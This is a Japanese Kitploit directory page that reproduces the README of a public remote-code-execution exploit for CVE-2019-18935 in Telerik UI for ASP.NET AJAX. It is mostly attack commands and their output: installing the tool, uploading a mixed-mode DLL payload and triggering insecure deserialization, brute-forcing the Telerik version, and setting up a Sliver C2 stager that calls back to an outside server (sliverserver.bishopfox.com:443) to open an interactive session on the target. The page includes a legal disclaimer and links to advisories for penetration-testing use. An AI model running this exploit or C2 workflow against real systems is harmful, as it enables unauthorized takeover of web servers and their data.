Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-18935 — Telerik UI for ASP.NET AJAXにおける.NET JSONデシリアライゼーションの脆弱性に対するRCEエクスプロイト。 | Kitploit
ツール/GitHubGitHub/noperator/cve-2019-18935
脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Telerik UI for ASP.NET AJAXにおける.NET JSONデシリアライゼーションの脆弱性に対するRCEエクスプロイト。

リポジトリを見る
373884年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-18935

Telerik UI for ASP.NET AJAX における .NET JSON 逆シリアル化の脆弱性を悪用し、リモートコード実行を可能にする Proof-of-Concept エクスプロイトです。

説明

Telerik UI for ASP.NET AJAX は、Web アプリケーション向けに広く使用されている UI コンポーネント群です。このソフトウェアは JSON オブジェクトを安全でない方法で逆シリアル化するため、ソフトウェアが動作するホスト上で任意のリモートコード実行が可能になります。詳細については、以下を参照してください:

  • DerpCon の講演 .NET Roulette (スライド) では、安全でない逆シリアル化を悪用するための追加の基礎知識を詳しく説明し、それをこのエクスプロイトに適用して、ASP.NET Web アプリケーションでシェルを取得するためのヒントやテクニックを紹介しています。
  • Bishop Fox の完全なレポートには、この脆弱性の完全なウォークスルーと、この問題のエクスプロイトの詳細(パッチ適用手順を含む)が記載されています。

はじめに

前提条件

build-dll.bat を使用して混合モードの .NET アセンブリ DLL ペイロードをコンパイルするには、Visual Studio と .NET Framework SDK がインストールされている必要があります。

インストール

root@kitploit:~
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

このエクスプロイトは、RAU_crypto の暗号化ロジックを利用しています。RAU_crypto.py 内の RAUCipher クラスは、開発が終了した PyCrypto モジュールのドロップイン代替品である PyCryptodome に依存しています。PyCryptodome と PyCrypto は同じ環境にインストールすると問題が発生するため、この依存関係を満たす最善の方法は、上記のように仮想環境内にモジュールをインストールすることです。

設定

build-dll.bat の 17 行目 を、ご使用の Visual Studio のインストール先パスに変更してください。

root@kitploit:~
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

使用方法

root@kitploit:~
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

混合モードの .NET アセンブリ DLL ペイロードをコンパイルする

一部のペイロード(例: reverse-shell.c や sliver-stager.c)では、HOST フィールドと PORT フィールドを C2 サーバーを指すように設定する必要があります。必ず設定してください!

Visual Studio がインストールされた Windows 環境で build-dll.bat を使用すると、逆シリアル化時にペイロードとして使用する 32 ビットおよび 64 ビットの混合モードアセンブリ DLL を生成できます。オプションとして、2 番目の CLI 引数(例: x86)でターゲットの CPU アーキテクチャを指定できます。

root@kitploit:~
build-dll.bat sleep.c

ペイロードをターゲットにアップロードし、アプリケーションに読み込む

上記で生成した DLL を CVE-2019-18935.py に渡すと、DLL がターゲットサーバー上のディレクトリにアップロードされ(Web サーバーがそのディレクトリに書き込み権限を持っている場合)、その後、安全でない逆シリアル化エクスプロイトを介して DLL がアプリケーションに読み込まれます。

root@kitploit:~
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

上記の例では、アプリケーションの応答に少なくとも 10 秒かかっており、DLL ペイロードが Sleep(10000) を正常に呼び出したことを示しています。

Telerik UI のバージョンをブルートフォースする

DerpCon の講演 .NET Roulette (39:46) で詳しく説明されているように、ファイルをアップロードする際に Telerik.Web.UI アセンブリの_メジャー_バージョン(つまり、完全なバージョン文字列 2017.2.503.40 の 2017 の部分)だけを指定することで、Telerik UI のバージョンをブルートフォースできます。この手法により、ソフトウェアの各リリースを個別にブルートフォースする場合と比較して、検索空間を大幅に削減できます。さらに、このソフトウェアのリリース履歴に明示的に記載されていないバージョンも検出できます。.NET アセンブリのバージョン管理の詳細については、MSDN を参照してください。

root@kitploit:~
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Sliver C2 フレームワークによるインプラント

カスタムの Sliver ステージャーペイロード sliver-stager.c は、Metasploit のステージングプロトコルに従って、Sliver サーバー(ステージングサーバー)から Sliver シェルコード(ステージ)を受信して実行します。この仕組みの詳細については、ペイロードソースのヘッダーを参照してください。

Sliver サーバーを起動します。サーバー設定の詳細はこちらを参照してください。

root@kitploit:~
MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

Sliver サーバーで C2 エンドポイントを開き(ここでは mTLS リスナーを使用していますが、HTTP や DNS も使用できます)、インプラントプロファイルを作成し、そのプロファイルにリンクしたステージングリスナーを作成します。ステージドペイロードの詳細はこちらを参照してください。Sliver のドキュメントが推奨する generate stager を使用して Sliver ステージャーを生成するのではなく、カスタムの sliver-stager.c を使用していることに注意してください。

⚠️ 警告: CPU アーキテクチャが異なるステージを送信すると、ターゲットプロセスが_クラッシュ_します! たとえば、ターゲットが 32 ビット版の Telerik UI を実行している場合に、ステージングサーバーが 32 ビットのステージャーに 64 ビットのステージを送信すると、Web サーバープロセスがクラッシュします。次の例では 32 ビットのシェルコードを生成していますが、new-profile コマンドの --arch フラグを使用して、ターゲットの CPU アーキテクチャに合わせる必要があります。

root@kitploit:~
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started

Sliver ステージャーソースのホストとポートを Sliver サーバーを指すように設定します(以下にサーバーの例を示します)。

root@kitploit:~
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c

Sliver ステージャーペイロードをコンパイルし、ペイロードをターゲットにアップロードしてアプリケーションに読み込みます(すべてこの README の前述の Usage セクションに従います)。

root@kitploit:~
> .\build-dll.bat sliver-stager.c x86

$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll

すべてがうまくいけば(このターゲットに対してトラブルシューティングを実施しましたか?)、Sliver サーバーのウィンドウにセッションが作成され、ターゲットと対話できるようになります。

root@kitploit:~
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC

sliver > use 1

[*] Active session AFRAID_COMPUTER (1)

sliver (AFRAID_COMPUTER) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help
  ...
  whoami             Get session user execution context

sliver (AFRAID_COMPUTER) > whoami

DESKTOP-D19S4Q2\tester

トラブルシューティング

  • 各ペイロードは一度しか機能しません。.NET の AssemblyInstaller クラスは、同じアセンブリ名を持つ複数の .NET アセンブリを読み込むことができないためです(これは_ファイル名_とは異なります)。ターゲットにスリープやコールバックなどを実行させたい場合は、そのたびに新しいペイロードをコンパイルしてアップロードする必要があります。
  • 正しい CPU アーキテクチャ(32 ビットまたは 64 ビット)をターゲットにしていることを確認してください。これはある程度の試行錯誤が必要になる場合があります。ここでは sleep ペイロードが役立ちます。
  • C2 サーバーへの逆 TCP 接続を開始しようとするときは、ターゲットネットワーク上の egress フィルタリングルールに注意してください。443 のような一般的に許可されている TCP ポートを選択してください。

巻末情報

法的免責事項

事前に相互の同意を得ずにターゲットを攻撃するためにこのツールを使用することは違法です。適用されるすべての地域、州、および連邦の法律を遵守する責任はエンドユーザーにあります。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。

謝辞

@mwulftange 氏がこの脆弱性を最初に発見しました。@bao7uo 氏は、RadAsyncUpload の暗号化を破るためのロジックをすべて作成し、rauPostData 内のファイルアップロード設定オブジェクトを操作して、そのオブジェクトの安全でない逆シリアル化を悪用することを可能にしました。@lesnuages 氏は、Sliver ステージャーペイロードの最初のバージョンを作成しました。

関連情報

政府の勧告

  • 2021年7月28日: CISA | 日常的に悪用される脆弱性トップ
  • 2020年10月20日: NSA | 中国政府支援の攻撃者による公開済み既知脆弱性の悪用
  • 2020年6月19日: ACSC | Copy-Paste Compromises – 複数のオーストラリアのネットワークを標的にするために使用された戦術、手法、手順
  • 2020年5月22日: ACSC | 高度な攻撃者によって Telerik UI の脆弱なバージョンで積極的に悪用されている RCE 脆弱性

バグバウンティのレポート

  • HackerOne レポート #1174185 (@un4gi)
  • HackerOne レポート #838196 (@sw33tLie)
  • HackerOne レポート #913695 (@un4gi)

今後のタスク

  • Sliver インプラントをアップロードして実行するペイロードを追加
  • 対話型シェルを開く代わりに、単一のコマンドをオプションで実行できるように C ペイロードを調整
  • 同じターゲットに対して再コンパイルしないように、コンパイル済み DLL のアセンブリ名を変更
  • Telerik UI のメジャーバージョン(つまり、バージョン文字列の_年_の部分)のブルートフォースを実証

ライセンス

このプロジェクトは Apache License の下でライセンスされています。

ツールをダウンロード